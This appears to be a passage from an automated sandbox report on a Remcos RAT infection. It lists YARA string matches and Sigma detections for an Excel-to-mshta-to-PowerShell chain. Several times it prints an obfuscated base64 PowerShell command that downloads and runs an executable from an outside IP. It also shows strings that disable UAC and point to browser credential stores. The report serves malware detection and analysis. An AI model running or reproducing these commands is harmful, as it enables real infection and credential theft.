0x65638:$str_b20: while fso.FileExists(" 0x650b1:$str_c0: [Firefox StoredLogins not found]
11.2.winiti.exe.143fc3ae0.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x649e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6497c:$s1: CoGetObject 0x64990:$s1: CoGetObject 0x649ac:$s1: CoGetObject 0x6e938:$s1: CoGetObject 0x6493c:$s2: Elevation:Administrator!new:
22.2.winiti.exe.1437c3ae0.1.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
22.2.winiti.exe.1437c3ae0.1.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
22.2.winiti.exe.1437c3ae0.1.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x690a8:$a1: Remcos restarted by watchdog! 0x69620:$a3: %02i:%02i:%02i:%03i
22.2.winiti.exe.1437c3ae0.1.unpack	REMCOS_RAT_variants	unknown	unknown	0x630fc:$str_a1: C:\Windows\System32\cmd.exe 0x63078:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x63078:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x63578:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x63da8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6316c:$str_b2: Executing file: 0x641ec:$str_b3: GetDirectListeningPort 0x63b98:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x63d18:$str_b7: \update.vbs 0x63194:$str_b9: Downloaded file: 0x63180:$str_b10: Downloading file: 0x63224:$str_b12: Failed to upload file: 0x641b4:$str_b13: StartForward 0x641d4:$str_b14: StopForward 0x63c70:$str_b15: fso.DeleteFile " 0x63c04:$str_b16: On Error Resume Next 0x63ca0:$str_b17: fso.DeleteFolder " 0x63214:$str_b18: Uploaded file: 0x631d4:$str_b19: Unable to delete: 0x63c38:$str_b20: while fso.FileExists(" 0x636b1:$str_c0: [Firefox StoredLogins not found]
22.2.winiti.exe.1437c3ae0.1.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x62fe8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x62f7c:$s1: CoGetObject 0x62f90:$s1: CoGetObject 0x62fac:$s1: CoGetObject 0x6cf38:$s1: CoGetObject 0x62f3c:$s2: Elevation:Administrator!new:
25.2.AddInProcess32.exe.400000.0.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
25.2.AddInProcess32.exe.400000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
25.2.AddInProcess32.exe.400000.0.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6aaa8:$a1: Remcos restarted by watchdog! 0x6b020:$a3: %02i:%02i:%02i:%03i
25.2.AddInProcess32.exe.400000.0.unpack	REMCOS_RAT_variants	unknown	unknown	0x64afc:$str_a1: C:\Windows\System32\cmd.exe 0x64a78:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x64a78:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x64f78:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x657a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x64b6c:$str_b2: Executing file: 0x65bec:$str_b3: GetDirectListeningPort 0x65598:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x65718:$str_b7: \update.vbs 0x64b94:$str_b9: Downloaded file: 0x64b80:$str_b10: Downloading file: 0x64c24:$str_b12: Failed to upload file: 0x65bb4:$str_b13: StartForward 0x65bd4:$str_b14: StopForward 0x65670:$str_b15: fso.DeleteFile " 0x65604:$str_b16: On Error Resume Next 0x656a0:$str_b17: fso.DeleteFolder " 0x64c14:$str_b18: Uploaded file: 0x64bd4:$str_b19: Unable to delete: 0x65638:$str_b20: while fso.FileExists(" 0x650b1:$str_c0: [Firefox StoredLogins not found]
25.2.AddInProcess32.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x649e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6497c:$s1: CoGetObject 0x64990:$s1: CoGetObject 0x649ac:$s1: CoGetObject 0x6e938:$s1: CoGetObject 0x6493c:$s2: Elevation:Administrator!new:
11.2.winiti.exe.143fc3ae0.2.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
11.2.winiti.exe.143fc3ae0.2.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
11.2.winiti.exe.143fc3ae0.2.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x690a8:$a1: Remcos restarted by watchdog! 0x69620:$a3: %02i:%02i:%02i:%03i
11.2.winiti.exe.143fc3ae0.2.unpack	REMCOS_RAT_variants	unknown	unknown	0x630fc:$str_a1: C:\Windows\System32\cmd.exe 0x63078:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x63078:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x63578:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x63da8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6316c:$str_b2: Executing file: 0x641ec:$str_b3: GetDirectListeningPort 0x63b98:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x63d18:$str_b7: \update.vbs 0x63194:$str_b9: Downloaded file: 0x63180:$str_b10: Downloading file: 0x63224:$str_b12: Failed to upload file: 0x641b4:$str_b13: StartForward 0x641d4:$str_b14: StopForward 0x63c70:$str_b15: fso.DeleteFile " 0x63c04:$str_b16: On Error Resume Next 0x63ca0:$str_b17: fso.DeleteFolder " 0x63214:$str_b18: Uploaded file: 0x631d4:$str_b19: Unable to delete: 0x63c38:$str_b20: while fso.FileExists(" 0x636b1:$str_c0: [Firefox StoredLogins not found]
11.2.winiti.exe.143fc3ae0.2.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x62fe8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x62f7c:$s1: CoGetObject 0x62f90:$s1: CoGetObject 0x62fac:$s1: CoGetObject 0x6cf38:$s1: CoGetObject 0x62f3c:$s2: Elevation:Administrator!new:
22.2.winiti.exe.1437c3ae0.1.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
22.2.winiti.exe.1437c3ae0.1.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
22.2.winiti.exe.1437c3ae0.1.raw.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6aaa8:$a1: Remcos restarted by watchdog! 0x6b020:$a3: %02i:%02i:%02i:%03i
22.2.winiti.exe.1437c3ae0.1.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x64afc:$str_a1: C:\Windows\System32\cmd.exe 0x64a78:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x64a78:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x64f78:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x657a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x64b6c:$str_b2: Executing file: 0x65bec:$str_b3: GetDirectListeningPort 0x65598:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x65718:$str_b7: \update.vbs 0x64b94:$str_b9: Downloaded file: 0x64b80:$str_b10: Downloading file: 0x64c24:$str_b12: Failed to upload file: 0x65bb4:$str_b13: StartForward 0x65bd4:$str_b14: StopForward 0x65670:$str_b15: fso.DeleteFile " 0x65604:$str_b16: On Error Resume Next 0x656a0:$str_b17: fso.DeleteFolder " 0x64c14:$str_b18: Uploaded file: 0x64bd4:$str_b19: Unable to delete: 0x65638:$str_b20: while fso.FileExists(" 0x650b1:$str_c0: [Firefox StoredLogins not found]
22.2.winiti.exe.1437c3ae0.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x649e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6497c:$s1: CoGetObject 0x64990:$s1: CoGetObject 0x649ac:$s1: CoGetObject 0x6e938:$s1: CoGetObject 0x6493c:$s2: Elevation:Administrator!new:
11.2.winiti.exe.143d64228.3.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
11.2.winiti.exe.143d64228.3.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
11.2.winiti.exe.143d64228.3.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x690a8:$a1: Remcos restarted by watchdog! 0x69620:$a3: %02i:%02i:%02i:%03i
11.2.winiti.exe.143d64228.3.unpack	REMCOS_RAT_variants	unknown	unknown	0x630fc:$str_a1: C:\Windows\System32\cmd.exe 0x63078:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x63078:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x63578:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x63da8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6316c:$str_b2: Executing file: 0x641ec:$str_b3: GetDirectListeningPort 0x63b98:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x63d18:$str_b7: \update.vbs 0x63194:$str_b9: Downloaded file: 0x63180:$str_b10: Downloading file: 0x63224:$str_b12: Failed to upload file: 0x641b4:$str_b13: StartForward 0x641d4:$str_b14: StopForward 0x63c70:$str_b15: fso.DeleteFile " 0x63c04:$str_b16: On Error Resume Next 0x63ca0:$str_b17: fso.DeleteFolder " 0x63214:$str_b18: Uploaded file: 0x631d4:$str_b19: Unable to delete: 0x63c38:$str_b20: while fso.FileExists(" 0x636b1:$str_c0: [Firefox StoredLogins not found]
11.2.winiti.exe.143d64228.3.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x62fe8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x62f7c:$s1: CoGetObject 0x62f90:$s1: CoGetObject 0x62fac:$s1: CoGetObject 0x6cf38:$s1: CoGetObject 0x62f3c:$s2: Elevation:Administrator!new:
22.2.winiti.exe.143564228.3.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
22.2.winiti.exe.143564228.3.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
22.2.winiti.exe.143564228.3.raw.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6aaa8:$a1: Remcos restarted by watchdog! 0x2ca360:$a1: Remcos restarted by watchdog! 0x6b020:$a3: %02i:%02i:%02i:%03i 0x2ca8d8:$a3: %02i:%02i:%02i:%03i
22.2.winiti.exe.143564228.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x649e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x2c42a0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6497c:$s1: CoGetObject 0x64990:$s1: CoGetObject 0x649ac:$s1: CoGetObject 0x6e938:$s1: CoGetObject 0x2c4234:$s1: CoGetObject 0x2c4248:$s1: CoGetObject 0x2c4264:$s1: CoGetObject 0x2ce1f0:$s1: CoGetObject 0x6493c:$s2: Elevation:Administrator!new: 0x2c41f4:$s2: Elevation:Administrator!new:
11.2.winiti.exe.143d64228.3.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
11.2.winiti.exe.143d64228.3.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
11.2.winiti.exe.143d64228.3.raw.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6aaa8:$a1: Remcos restarted by watchdog! 0x2ca360:$a1: Remcos restarted by watchdog! 0x6b020:$a3: %02i:%02i:%02i:%03i 0x2ca8d8:$a3: %02i:%02i:%02i:%03i
11.2.winiti.exe.143d64228.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x649e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x2c42a0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x6497c:$s1: CoGetObject 0x64990:$s1: CoGetObject 0x649ac:$s1: CoGetObject 0x6e938:$s1: CoGetObject 0x2c4234:$s1: CoGetObject 0x2c4248:$s1: CoGetObject 0x2c4264:$s1: CoGetObject 0x2ce1f0:$s1: CoGetObject 0x6493c:$s2: Elevation:Administrator!new: 0x2c41f4:$s2: Elevation:Administrator!new:
Click to see the 43 entries

Sigma Signatures

System Summary

Sigma detected: File With Uncommon Extension Created By An Office Application

Source: File created

Author: Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule), Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ProcessId: 2932, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\gdfvr[1].hta

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\system32\cmd.exe" "/c POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))", CommandLine: "C:\Windows\system32\cmd.exe" "/c POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRml

Sigma detected: Suspicious Microsoft Office Child Process

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io: Data: Command: C:\Windows\System32\mshta.exe -Embedding, CommandLine: C:\Windows\System32\mshta.exe -Embedding, CommandLine|base64offset|contains: Iyb, Image: C:\Windows\System32\mshta.exe, NewProcessName: C:\Windows\System32\mshta.exe, OriginalFileName: C:\Windows\System32\mshta.exe, ParentCommandLine: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 2932, ParentProcessName: EXCEL.EXE, ProcessCommandLine: C:\Windows\System32\mshta.exe -Embedding, ProcessId: 3296, ProcessName: mshta.exe

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ofvwqfjd\ofvwqfjd.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ofvwqfjd\ofvwqfjd.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3400, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ofvwqfjd\ofvwqfjd.cmdline", ProcessId: 3512, ProcessName: csc.exe

Sigma detected: Excel Network Connections

Source: Network Connection

Author: Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth '@Neo23x0", Tim Shelton: Data: DestinationIp: 188.114.96.3, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, Initiated: true, ProcessId: 2932, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49163

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3400, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\csrss[1].exe

Sigma detected: Suspicious Office Outbound Connections

Source: Network Connection

Author: X__Junior (Nextron Systems): Data: DestinationIp: 192.168.2.22, DestinationIsIpv6: false, DestinationPort: 49163, EventID: 3, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, Initiated: true, ProcessId: 2932, Protocol: tcp, SourceIp: 188.114.96.3, SourceIsIpv6: false, SourcePort: 80

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3400, TargetFilename: C:\Users\user\AppData\Local\Temp\ofvwqfjd\ofvwqfjd.cmdline

Sigma detected: Modification of IE Registry Settings

Source: Registry Key set

Author: frack113: Data: Details: 46 00 00 00 2A 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ProcessId: 2932, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))", CommandLine: POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; 